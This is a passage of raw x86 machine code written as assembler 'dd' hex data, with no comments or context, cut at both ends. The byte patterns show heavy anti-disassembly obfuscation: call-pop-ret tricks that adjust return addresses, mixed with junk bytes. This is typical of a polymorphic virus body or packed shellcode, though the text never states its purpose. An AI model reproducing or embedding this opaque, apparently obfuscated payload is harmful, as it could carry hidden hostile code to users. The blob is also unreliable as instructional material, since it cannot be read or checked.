160424h, 55450000h, 794DFBC3h, 29AD9589h, 0E3810613h dd 100h, 11E98D89h, 0DB0B0613h, 83850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 651398C3h, 0BCF6CBEAh, 81661EF8h, 838FFAEFh, 17087BBDh dd 840F0006h, 17h, 13B5BD89h, 5EE90613h, 0F000000h, 68Bh dd 9BD0B00h dd 0C706130Fh, 17087B85h, 106h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 80185DEAh dd 22E9D27Dh, 81000000h, 0A2A8F0E7h, 7B85C760h, 61708h dd 0F000000h, 0C80h, 6800F00h, 2B000000h, 132981B5h, 0D59D8D06h dd 6A06132Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0CDF9C350h, 8E8h, 0FA384B00h dd 8E6E26CAh, 45B53351h, 5E06132Ah, 0FEFF2381h, 6AFFFFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0B72977C3h, 968BD9BFh, 8BFC2CD9h, 8D0FF3h, 66000000h dd 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 6B68C7C3h, 0DA0239Bh, 0BE3F69A7h, 2FAD8B58h dd 0E65B503h, 0C3F60613h, 6B840F04h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0FFEFC353h, 13211195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 59D75859h dd 514DE381h, 5790F8DCh, 7E8505Eh, 61000000h, 1424FC71h dd 830F40B7h, 6, 850Fh, 905F0000h, 0DD1B589h, 0EAE90613h dd 89000003h, 132B4185h, 6A00B006h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 6672C350h dd 0E612D7BEh, 71E4F570h, 1605B533h, 0B60F0613h, 49B58BD8h dd 0BA061317h, 6, 1681BD89h, 0C38B0613h, 0C1FB8B66h, 6A04E8h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0AE2A24C3h, 0F18BC7E1h, 66E2F766h, 2BD985BFh, 52006AD8h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 937B6747h, 0CE860h, 68950000h, 92254A69h, 8DB2705Dh dd 5957C762h, 38E0F59h, 66000000h, 5061FE8Bh, 0BDB52993h dd 0FF06132Eh, 130B21B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C86F19A4h dd 73FD89E6h, 0C58D291Dh, 0FC06130Dh, 0B61B58Bh, 95FF0613h dd 6130DA9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 40C35040h, 0A0E23F98h, 0D7180A92h, 0A66EBF66h dd 25D1B58Bh, 0B00613h, 10E8h, 49E75E00h, 865CD10Bh, 9D3E0532h dd 0CAFB617Ch, 6840FDDh, 0F000000h, 82h, 70E65F00h, 128A0Fh dd 0DE90000h, 0E9000000h, 0EC70B744h, 55745CFFh, 0CAF145EFh dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 35B547C3h, 830F613Ch, 259h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 0CEC35747h, 88BF9193h dd 66609892h, 0F6AFE781h, 6AD8B60Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6916C355h dd 97880758h, 68A0Fh, 0B58B0000h, 6131741h, 6BAh, 8BF38B00h dd 5CF781C3h, 0C173169Ah, 6A04E8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8B45B6C3h, 130DD1BDh dd 0E2F76606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 2EC35141h, 8EEE8166h, 0F2BF0F3Fh, 9529D82Bh, 6131DADh dd 6810F58h, 8B000000h, 133045B5h, 0FD82B06h, 18888h, 0BE900h dd 9A440000h, 5AECBD93h, 8BCB15D3h, 7B948h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 60B28C3h, 1F45BD01h, 0C1830613h, 0AE800h, 0F0800000h dd 0CF2EF1E1h, 0F9D04D30h, 45DE8166h, 0D93B5F8Eh, 12F860Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 5A1C0DC3h, 0D98C6663h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 1DC35747h, 0ABFD2AEh, 0E9F9B503h dd 11h, 4BD0CFCEh, 0CCA841B7h, 3594B863h, 14428D92h, 4C1F685h dd 0A2840Fh, 0BF660000h, 95FF1759h, 6132111h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1CC35343h, 24CD2547h dd 800F4287h, 5, 2CEF8166h, 8D895BA2h, 6131145h, 0F78BC32Bh dd 8343Dh, 55860F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 2FDC351h, 3564333Dh dd 0FE99F62h, 38Fh, 0F38B6600h, 4CE9h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0B58B923Dh, 6131CCDh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0E43885C3h, 8910498Ah dd 131DADBDh, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 7479257Bh, 9CD6C10h, 130EB58Dh dd 3985C706h, 0F7061306h, 0BF7E0D5Dh, 6615D95Fh, 8166C08Bh dd 81FBCDE7h, 130B21BDh, 7D006h, 0D850F00h, 0F5000000h dd 349DB58Bh, 85FF0613h, 6130B21h, 0B21B5FFh, 0BD8B0613h dd 6130D11h, 0DA995FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0CCE76BC3h, 2A4DBD89h dd 0F900613h, 8Dh, 0B9B58B00h, 31061300h, 1313D995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 59C6815Bh, 0BF08C9D3h, 4AA279B5h, 3C54E681h, 6A54ADh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0AEEA46C3h, 870FA1h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B3E1C357h dd 808BA33Eh, 8B131D36h, 1325DDBDh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 44239F5Ch dd 0F8367551h, 0ED9589C8h, 6A06131Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E18AC351h dd 0E9237E8Bh, 13h, 0C03AEC9Dh, 0D93B6CB6h, 0B2D3491Fh dd 19A4EEDEh, 6AE6C86Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E926C357h, 0Dh, 11B8D620h dd 45622B78h, 0F49D46F6h, 0E9F98BE7h, 0FFFFF814h, 0DE8h dd 534D8500h, 0F10D72E1h, 0A1A5A902h, 8D89EBABh, 6131311h dd 0DE95Fh, 950E0000h, 49BC1D69h, 0C8505F82h, 89DB59E1h dd 131F09BDh, 89C18B06h, 131B6D9Dh, 104EB06h, 66000000h dd 0B9C4CE81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 80C35646h, 7F02F7C7h, 10D9BD33h, 0CF810613h, 77BA7BA4h dd 1EA9858Dh, 0BF660613h, 605035F9h, 11E8DC8Ah, 7B000000h dd 73F8D721h, 18FFC8AEh, 595365B2h, 59694915h, 6159CE8Bh dd 0F240489h, 58Bh, 0C6816600h, 6A54E1h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 0D6C35545h, 8B4ED891h dd 1323A1B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0FA73C352h, 0EF858D73h dd 89061713h, 13177D8Dh, 0C7DE8106h, 834DFE8Bh, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 899AE6C3h, 132965B5h, 50565006h, 5E852h, 62020000h dd 5EF4C5F6h, 585A310Fh, 2404895Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 48C35747h, 0EEFB0571h, 0FAB70F3Fh dd 1ED1B58Bh, 6A0613h, 10E9h, 42A8C700h, 24090161h, 0E5075C3h dd 0E646412Dh, 6A006AAFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FF3CC351h, 1307F195h dd 79BD0306h, 8D061312h, 16A36A9Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0C9C4912Ah dd 0BA29BFBFh, 29D3FF70h, 13353995h, 0D985FF06h, 89061316h dd 132CB9B5h, 7CCE906h, 0E80000h, 5D000000h, 13F9ED81h dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0AFBB7BC3h, 7E8CAF2h, 49000000h, 27EC5838h dd 953195A1h, 6132819h, 21BD815Fh, 0D006130Bh, 0F000007h dd 19A86h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0BF66E14Ah, 9D8B7DABh, 6133251h dd 0E381FCh, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 37F1C357h, 3C8C0C46h dd 0B375F7Fh, 0D6850FDBh, 0F000000h, 688h, 0D9952900h dd 83061306h, 171245BDh, 840F0006h, 44h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 93C35343h, 8975A47Ah dd 13113D85h, 858D8906h, 0E9061319h, 0B7h, 0FE9h, 9A399A00h dd 8B392DF6h, 8E48636h, 459FEE9Bh, 124585C7h, 10617h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 9DEB8CC3h, 0C2C7E587h, 85FBBFE4h, 6CE927DCh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0E901C351h, 8, 0FC221182h, 40A73ECFh, 14E9h dd 0BFF7FA00h, 91CD4019h, 28B5B065h, 281AC02Eh, 6743B5EDh dd 4585C767h, 61712h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 8ABC352h, 8D465F08h dd 1332519Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0F10F0E9h, 81F5F6B7h, 0FFFEFF23h dd 0BE8FFh, 0DDC20000h, 6EFD72F1h, 221DBF5Bh, 665EF810h dd 0F6FCDB8Ch, 840F04C3h, 63h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0B2C35747h, 8A5F9C3Fh, 5EA97F2h dd 9F2B70Fh, 13110D85h, 1195FF06h, 8B061321h, 800F50F3h dd 2, 489FB8Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0DDB58B03h, 0E9061316h dd 3EFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0D9C35646h, 0B0F28B66h, 61B58B00h, 0E6061323h dd 57006A70h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 6F578C15h, 93DB1386h, 8971E4ECh, 130619BDh dd 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 1CC35646h, 0CE01CC06h, 5A77361Ah, 219D896Ch, 66061316h dd 6BAF18Bh, 31000000h, 132EBD9Dh, 89C38B06h, 130F599Dh dd 4E8C106h, 208DBD8Bh, 0F7660613h, 0D78166E2h, 0D82B70E7h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0AFC35141h dd 533F4F01h, 0BE934B9Bh, 51E82AA9h, 2A19BE50h, 6A930F0Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0D812C351h, 0BD8BBB19h, 6130E55h, 0B21B5FFh dd 9D090613h, 6133151h, 0DA995FFh, 870F0613h, 6, 30318D89h dd 0B00613h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 96C35646h, 597537Bh, 39621781h, 68F0F12h, 29000000h dd 131F19B5h, 8B70E606h, 6A71E4F2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F18AC355h dd 0F373901h, 613CFFB7h, 26D830Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 37621DC3h dd 23AB0701h, 132135BDh, 0D8B60F06h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 8BC35242h, 7350B09Ah, 0F345F86h dd 388h, 0F7BF0F00h, 6BAh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0A67D2C48h dd 81F68E8Dh, 0F65E63EFh, 0CE96Bh, 0CA990000h, 0B261F503h dd 5E123514h, 0C38B9738h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0DFC35545h, 0D2694095h, 558589A0h, 0C106130Eh dd 0F76604E8h, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0CB00FF00h, 2958D82Bh dd 131D55BDh, 0FD82B06h, 17A88h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 3A0662F2h dd 0E15F99C2h, 0B529B5C6h, 613011Dh, 7B9h, 0F78B6600h dd 6600C183h, 3BF858BFh, 38860FD9h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0E0C3C357h, 0DE9EB95h, 56000000h, 5993B6A1h, 0AB5F83D5h dd 3C086FD9h, 8BD98C66h, 130C69B5h, 4C1F606h, 0BF840Fh dd 0BE80000h, 35000000h, 10699ECCh, 0FBB1DF8Bh, 8E0F2BFAh dd 6, 3549B58Bh, 0FF5F0613h, 13211195h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8953C4D1h, 130A8585h, 6A5B5F06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0ADABC357h dd 0C98ED68Eh, 17D880CDh, 7E8h, 72879400h, 10931FA3h, 1FBDB58Bh dd 2B5E0613h, 11B50BC3h, 3D06130Bh, 834h, 2B860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 10B0DAC3h, 3CE9EDE8h, 89000000h, 130C158Dh, 6AC08B06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0B2F3C357h, 0E99B2C3Eh, 0Fh, 3244946h, 0A3CDEAAFh dd 358B5E0h, 8B7E8AC3h, 0E9D88BC3h, 14h, 0C6BE9F01h, 610904C4h dd 0FFBA0FFEh, 0AFA24D1Ah, 0DB0685F3h, 2CD585C7h, 175D0613h dd 85897DC2h, 6131DEDh, 0BD8BC08Bh, 61311BDh, 0B21BD81h dd 7D00613h, 850F0000h, 0Eh, 0B2185FFh, 33560613h, 131CD9B5h dd 0B5FF5E06h, 6130B21h, 0FFF1BF0Fh, 130DA995h, 0C6819006h dd 3A815682h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0A5C35242h, 5E596A70h, 0B5012435h, 61301E9h, 0F2B70F51h dd 0A5B5295Eh, 6A06131Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F05C352h dd 0C81h, 6890F00h, 2B000000h, 131EC1B5h, 8589FC06h, 61323B9h dd 53006AF8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 108923D2h, 12E96Bh, 0DDF90000h, 7801CEF6h dd 1BD70ABBh, 0BA3E9889h, 30C7B338h, 74A784BEh, 0BD8B523Fh dd 6131D85h, 6AF38B5Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 85F8C352h, 2B3F97FDh dd 0B58B65ABh, 61324C5h, 1F51BD8Bh, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 25A8A0C3h dd 48CABCC8h, 0B58BCB28h, 6132379h, 0F83CE9FCh, 0B58BFFFFh dd 6131BA1h, 0C18BF78Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 1AC35343h, 3C38EDBDh, 104EB6Bh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0F534C357h, 4A9752ECh, 9D897503h, 61314F5h dd 3800Fh, 8B660000h, 51006AFBh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 93EA5DDCh, 8BF1680Dh dd 130BC5B5h, 0A9858D06h, 6A06131Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F68EC353h dd 0A6C3FFB9h, 0CCBA6090h, 0F7756A2h, 289h, 61616000h dd 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 705CDBC3h, 6A401Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0EAC35646h, 893E8A83h, 131BCDB5h dd 38E78106h, 6A4C182Dh, 0BCBF6600h, 86858D7Eh, 5606171Dh dd 1471BD09h, 895E0613h, 131A51BDh, 5C08306h, 45DF8166h dd 0D9BF50DBh, 8915EEE1h, 0BD8B2404h, 613351Dh, 8501006Ah dd 6132BD1h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 38D464C3h, 880Fh, 95FF0000h, 61307F1h dd 0F49B533h, 9D8D0613h, 616A36Ah, 34DF8166h, 6AD3FF69h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0EE60C355h, 61BD4696h, 1689BD8Bh, 7E80613h dd 4C000000h, 69D8C273h, 0B8BE469Ah, 5F31C987h, 16D985FFh dd 85890613h, 6133521h, 761E9h, 0E800h, 815D0000h, 171D90EDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 51B19506h, 0FCBF5F58h, 8130517Eh, 130B21BDh dd 7D006h, 860F00h, 89000001h, 1304EDB5h, 0F99D8B06h, 66061305h dd 24DACE81h, 0FDB58956h, 5F06130Ah, 100E381h, 9CBE0000h dd 0F56CF4Bh, 886h, 0B58B5600h, 6130F01h, 0FDB0B5Fh, 5C85h dd 0F3B70F00h, 1BE5BD83h, 0F000617h, 1784h, 6E9FC00h, 3F000000h dd 0C1FAC9D5h, 4BE926h, 85090000h, 6131949h, 1BE585C7h dd 10617h, 0BD890000h, 613214Dh, 30E9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 58317D19h, 0E585C7BFh, 6171Bh, 29000000h, 130FF18Dh dd 0F99D8D06h, 6A061305h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0A6FDC350h, 5022DD0Dh dd 0F5952955h, 81061315h, 0FFFEFF23h, 52006AFFh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 4C6BDB0Bh, 816675AAh, 66616AF6h, 6ADB8Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 37462C3h dd 88A82DFFh, 0F6FA8B66h, 840F04C3h, 3Eh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EBC35545h, 0E72B1B69h dd 53BCFF0Ch, 211195FFh, 0BF0F0613h, 0BF6690FBh, 6650AF51h dd 90ACDABFh, 0ED9BD89h, 99E90613h, 66000003h, 0B0DDD9BFh dd 0E9BD8B00h, 0E6061306h, 52006A70h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 210316D3h dd 0B86C0DCFh, 0B5896B57h, 6131451h, 6A71E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CFDBDFC3h dd 0D2AF9BA7h, 0F1BD8BF6h, 0F061334h, 6AD8B6h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0E5EAF7C3h, 5BFC2ECCh, 899D3145h, 0BA061307h, 6, 1D958957h dd 5E061315h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 1EE4BCC3h, 25B07523h, 0E78166F8h dd 8A0FC632h, 1, 4E8C1F8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 9DC35040h, 6171CC56h, 0BEE2F766h, 6F7AB6B5h dd 9589D82Bh, 61323C9h, 241C8950h, 4E1BD2Bh, 0B5FF0613h dd 6130B21h, 95FFF38Bh, 6130DA9h, 164DB589h, 0B00613h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 35C35040h dd 14AFCD3Eh, 0E6F78B66h, 0C5BD8B70h, 0E4061311h, 51006A71h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0EE8575Ah, 6E000000h, 9751B6BFh, 0A3260943h, 0BE740B3h dd 99B52387h, 5E061301h, 0F613C5Eh, 20B83h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0C1BD0120h, 8906131Bh, 131F519Dh, 9BD8906h, 0F06130Eh dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 8E6984C3h, 1E7A8D5Ah, 6BAh, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 820FC652h, 5, 84B722BEh, 0FE8B667Eh, 8E0FC38Bh, 6, 0BE18589h dd 0E8C10613h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0A23E5EBh, 0EF3E478Fh dd 0D7BE66D4h, 0E2F766CEh, 15419D31h, 0BD290613h, 613134Dh dd 0BE9D82Bh, 42000000h, 3E68A4CFh, 6DFD6B8Ah, 0BF58B587h dd 43452725h, 880FD82Bh, 120h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0BC35141h, 23FD8531h, 7B90613h dd 0F5000000h, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 2B2FC353h, 0D93B84FBh dd 0CE860Fh, 0BD8B0000h, 613149Dh, 6AD98C66h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 4A31C352h, 0ACDF109Dh, 0F04C1F6h, 9384h, 6E900h, 0C2120000h dd 230DE401h, 211195FFh, 11E90613h, 0DA000000h, 29BC7D12h dd 18C0BC9Eh, 1883C08Dh, 15AFB4B6h, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B58BA778h dd 6131239h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0CA5CB5C3h, 0DBE3E7E8h, 858962C3h dd 6131639h, 8343Dh, 11860F00h, 31000000h, 13295D8Dh, 0EE906h dd 0E7810000h, 152005FDh, 0CF81C08Bh, 3D440BA6h, 0D88BC38Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C4C35646h dd 85C75F52h, 6133251h, 15F05BD7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0B3C35343h, 6AC08B56h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 954CC352h, 0DDD9593Fh, 668FEB96h, 0BC66E781h, 3111BD03h dd 0BD810613h, 6130B21h, 7D0h, 48850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0D5F819C3h, 0F15CEA5Ch, 2185FF43h, 6A06130Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 2E71C356h, 0B5FF024Fh, 6130B21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 97C35646h, 0A6485814h, 9C295AA2h dd 0DA995FFh, 0BD330613h, 6130115h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0B40E39B6h dd 0A5F3CFE7h, 10DE8166h, 9E92Fh, 8D40000h, 1BC4FB6Bh dd 239D74A4h, 1316C5BDh, 15860F06h, 0E9000000h, 10h, 98EB69h dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 1B998D89h, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 6ED0ECC3h, 0DAB6C610h, 50006A94h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 21C14FC3h dd 0F632EDDh, 0E8Eh, 8E900h, 426F0000h, 753589AEh, 6AF59232h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0FA59C351h, 0CF7711F1h, 60FE9983h, 0D1DB81h dd 8D09747Fh, 6132A91h, 5830Fh, 61600000h, 61D6B70Fh, 0BE9h dd 0AD41E200h, 2F06917Ch, 9522C066h, 0FFF8A0E9h, 0C18BFCFFh dd 0FE8h, 0DD347D00h, 4B1EFCC3h, 0B2234DD5h, 32717F0Eh dd 4EB5Fh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 37C3C356h, 0CF444D8h, 0FABF0FDAh dd 1EA9858Dh, 95890613h, 6132C51h, 0BE890h, 0B8CF0000h dd 0E3D1C8A0h, 15DD7E1Dh, 56525035h, 66310F5Fh, 5A4F90BEh dd 8B505E58h, 816690F1h, 6A0796DEh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 5A77361Ah dd 2D1A5F6Ch, 7E955h, 0E4E40000h, 83B40A86h, 6A006A6Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 7279C350h, 5491DAF5h, 858DD185h, 617271Dh dd 0FE9h, 0E2798B00h, 7ACBBECAh, 30E5E6ACh, 2F725B03h dd 6A05C083h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0F0E8C351h, 0BA65E319h, 0C4F3C09Dh dd 90FA8B66h, 0DE8h, 5ABAD000h, 69892A11h, 6E68B499h, 0F28BBB18h dd 12E9505Eh, 0A7000000h, 0DF3E37F9h, 3056E9CAh, 5F6A22Ah dd 61DE4F3Ah, 0BD8B9045h, 6130981h, 7E8006Ah, 0B5000000h dd 4981F62h, 0B531BA9Dh, 61310A5h, 0E9006A5Eh, 0Eh, 28AE13ABh dd 803F0621h, 50178F5Ah, 95FF91F0h, 61307F1h, 8B0Fh, 9D8D0000h dd 616A36Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0B7C35646h, 9529B77Eh, 6130B6Dh, 0C52DBF66h, 6AD3FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0F8AD45C3h, 0ED632F89h, 29983F4Eh, 1316D585h, 0D985FF06h dd 6A061316h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0C9C350h, 6B41F8B5h, 9E8h, 0A32A7300h dd 0D6022C57h, 0BD338F6Ah, 6132B89h, 0AE85Fh, 0D480000h dd 0BD775FBFh, 0C72390E8h, 9E9h, 0C710D500h, 0B2812647h dd 0E95F62F4h, 808h, 0E8h, 0ED815D00h, 6172727h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0ACC35747h, 1CD304Fh dd 6870FFDh, 89000000h, 131A31B5h, 21BD8106h, 0D006130Bh dd 0F000007h, 14F86h, 91BD8B00h, 8B06130Eh, 1316A19Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 81CF2579h, 100E3h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 870BE740h dd 0AE93633h, 21000000h, 0BF9B9739h, 56ED9B5Dh, 0FDB0B9Ch dd 6E85h, 5BD8300h, 61725h, 35840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 41C2D2C3h dd 8B2DEF8Dh, 1330D5BDh, 618D2906h, 0E9061319h, 73h, 0C7F2B70Fh dd 17250585h, 106h, 61E900h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C776F6C3h dd 17250585h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 